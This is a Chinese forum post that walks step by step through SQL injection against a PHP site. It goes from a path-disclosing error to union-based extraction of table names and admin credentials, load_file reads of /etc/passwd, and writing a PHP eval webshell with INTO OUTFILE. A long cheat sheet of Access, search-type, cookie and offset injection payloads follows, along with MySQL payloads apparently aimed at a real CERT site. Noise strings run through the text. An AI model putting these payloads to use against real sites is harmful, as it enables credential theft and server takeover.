我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
! Q5 v& N# l* H让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
# P3 D C- i6 d0 _/ G# f我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。4 f5 e* }: S! V/ H4 g- c+ a( v
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
' X1 y$ z5 Z& Y! t8 D/ `" ~ j1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
9 l9 ^ R ]$ ~1 @6 C7 [7 U( R这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:/ h; H. v6 l3 Q& ]
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in: {. S" u5 f& ]* U: I; S- V. X
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
1 A- r# [5 {7 \) i8 H : ?) r2 A- S) U+ \
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
- F6 s& W% i: i% M2 ?5 \3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
3 p! O* t$ I* P- E: L/ [9 }6 h4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
0 P! I. u' s! v9 V3 G, l7 r/ e5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
8 d7 W* n9 f, M* T' b O4 e有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,+ B8 V3 ^$ z/ ^
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
: h r! H( H Z6 c; H6 c我就用的是第二个思路,3 E v" l( Z/ @* w8 ]
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
9 j: C% X6 x" b6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,2 L( }+ g) Y: F2 z6 f2 b/ N2 b' D
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
8 @' L, S- K' t9 C: A: W/ Z( V注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。: K, c% E/ O/ G- R0 W
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
2 Y% y* Y0 ^( j3 S5 f) y是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
: J* }9 S2 K2 I; _7 `+ U提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
8 L% h) d7 t6 g; z2 Z! }& k" q/ K然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,! o N3 k# \8 E( V
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
4 `4 v/ [( \' V$ Y: I. L下面是一些很普遍注入方式资料:
6 Z, w! V$ b$ M! \" N0 p注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='; F+ }* I# k+ z8 m
拆半法
P( J8 L( g$ g ^- ^2 |! e8 _####################################### n8 f+ @/ ~) ~# `4 R4 @ w" v
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
4 @9 ?; ?3 c. {2 }7 i# @/ }( ]) Yand exists (select * from admin)# L, |( m, {' V( R H& F" U3 M5 B3 F
and exists(select id from admin)
5 i" b+ H2 Y4 b5 |" v; qand exists(select id from admin where id=1)
7 [$ Q* Z/ h& Yand exists(select id from admin where id>1)
2 O) V$ |- x. L4 ?# a9 G" ?然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 s& P, {5 W4 D/ T( ]8 }6 @2 A
and exists (select username from admin)
8 P [+ y' m$ {and exists (select password from admin)
6 o) ?0 J2 q a) X& B' Oand exists (select id from admin where len(username)<10 and id=1)
, d+ u& I5 Z$ m" Y$ k2 Vand exists (select id from admin where len(username)>5 and id=1); C7 o; E. x# x
and exists (select id from admin where len(username)=6 and id=1)7 D4 Q; Q# W, s# q
and exists (select id from admin where len(password)<10 and id=1)& d6 x) p( h8 i- r2 a; t4 e
and exists (select id from admin where len(password)>5 and id=1)3 q. g% D7 E3 z' d) o3 v' K. f
and exists (select id from admin where len(password)=7 and id=1)
. _. w8 A _8 \' A$ V( eand (select top 1 asc(mid(username,1,1)) from admin)=97
7 ~1 e& g( F' @/ _& ?; ^4 U返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
. S* ^, h# J. k3 Z猜第二位把username,1,1改成username,2,1就可以了。4 _/ Q" @& M) ?& H
猜密码把username改成password就OK了' O, _/ v* L+ Y# D* X3 S' H
##################################################
0 Y) t) w& N' c5 S. \搜索型注入' e8 x/ I7 j- {$ R% J
##################################
- r* t' ^1 P. g, C3 i%' and 1=1 and '%'='- B" S, C4 L8 p: U- A
%' and exists (select * from admin) and '%'='
' x/ L/ X# o5 X2 D+ b3 j# z) T%' and exists(select id from admin where id=1) and '%'='. W, a. J, `" J4 J/ _
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='* n7 C) Z* Q; V6 P. V
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='% l1 A) v# a2 ^4 X0 i
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
" G9 n0 v: h f: K [' K7 [8 X! W这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
' u# A" H$ _& d* K对于MSSQL数据库,后面可以吧 and '%'='换成--- A4 r3 ] _& \$ c$ o
还有一点搜索型注入也可以使用union语句。( T& t& l, @- ?: B; u4 W/ A4 _
########################################################, a' G% O$ g8 M- |. {
联合查询。
4 J5 z) \5 ]8 _+ ~) p# x#####################################
* C. r: F% ?! f! b3 \7 l# Eorder by 103 G2 @3 a6 B: \ P9 I8 a) H5 {
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
7 i+ v! Z" b# Yand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
9 ?- W/ U/ S- Uand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1! ]6 ?; `3 j; G3 N/ Z
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
. J8 z$ W& c2 G! n3 z###################################
; }. v$ N# |- |7 O: B, X6 c4 `cookie注入
+ ]6 i& }& L1 j0 I###############################
7 x8 t2 k# S/ Thttp://www.******.com/shownews.asp?id=127 U, [4 \9 E/ B( s/ c% b$ L: p) P
http://www.******.com/shownews.asp
7 {2 a9 d8 C. falert(="id="+escape("127"));' |+ v2 O4 \: [- ~* f ^. p
alert(="id="+escape("127 and 1=1"));
1 n# f( ?% ?. \( R$ m' e8 u& D0 Xalert(="id="+escape("127 order by 10"));9 u9 D7 u0 [/ P: Y
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
/ c0 U) q2 A5 l9 ]alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
6 o' @" Q7 W* y+ _这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。' |+ m7 D$ O/ F2 k: q5 y G6 B6 \
###################################
! O8 q$ p- K0 R/ i偏移注入
; q. E2 g6 B* p7 d; l3 ~: f1 h###########################################################, i! P4 w0 O7 e/ @
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin/ [, l' }! s. K4 U$ z2 r9 E+ v
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin7 x, i$ ~2 _, k: h
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)9 m: f9 W/ c& n( Q6 ^+ P: a/ M
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
( {7 n3 G/ e0 D+ nunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
% J0 z' N1 x2 j- n: [union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
; Y# z: a# |$ @2 G* k0 kunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
3 h0 j; _, |( a3 da.id=d.id)! t! r2 t5 K0 [) P6 S% x
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)5 |3 L2 B+ W0 K9 m
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) " h1 a6 G/ D7 L: ~1 F
/ I$ Z7 O( v0 E' z P. N- i: u1 a
============================================================================================================) j/ W/ ]2 x$ a! W! c
1.判断版本
3 v* t1 \* M# O: s4 kand ord(mid(version(),1,1))>51: G1 ^! r- H' f; L `8 s
返回正常,说明大于4.0版本,支持ounion查询6 X! \0 C8 t8 M5 R4 G3 j u! P
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
( _: l& A9 M8 h6 v* ~# `and 2=4 union select 1,2,3,4,5,6,7,8,9--1 j# F( G! s. P8 R1 s
3.查看数据库版本及当前用户,
* r( U: \% N- @# Q) V. U7 \( aand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
/ B0 i- G. w7 \* A数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
: t% h/ ]$ Q# O. k" d% w6 I8 h5 u0 A4.判断有没有写权限6 N4 v' z$ @ [& ^) c$ G: E$ M
and (select count(*) from MySQL.user)>0-- 9 L# Y; j- c' A( R! N
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
. Q4 q4 C& A) S) N- @用不了这个命令,就学习土耳其黑客手法,如下
. l: Q- Y$ C/ |" S' Q5 _9 i4 Mand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--+ U6 G- z. @. l
6.爆表,爆库, T- n K$ g Y5 c
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
& _% K. C4 W4 n0 O/ E7.爆列名,爆表$ m4 }0 q0 K. x3 j
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--. w- f/ T. O7 ^! B2 A/ w
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
5 T0 d$ L" V! E: C) qand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--, j, L2 C: p; t7 b9 N. k
9.爆字段内容4 o$ w5 [' |4 V E4 |8 @
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
! J2 M% x5 x( `" T/ Ahttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |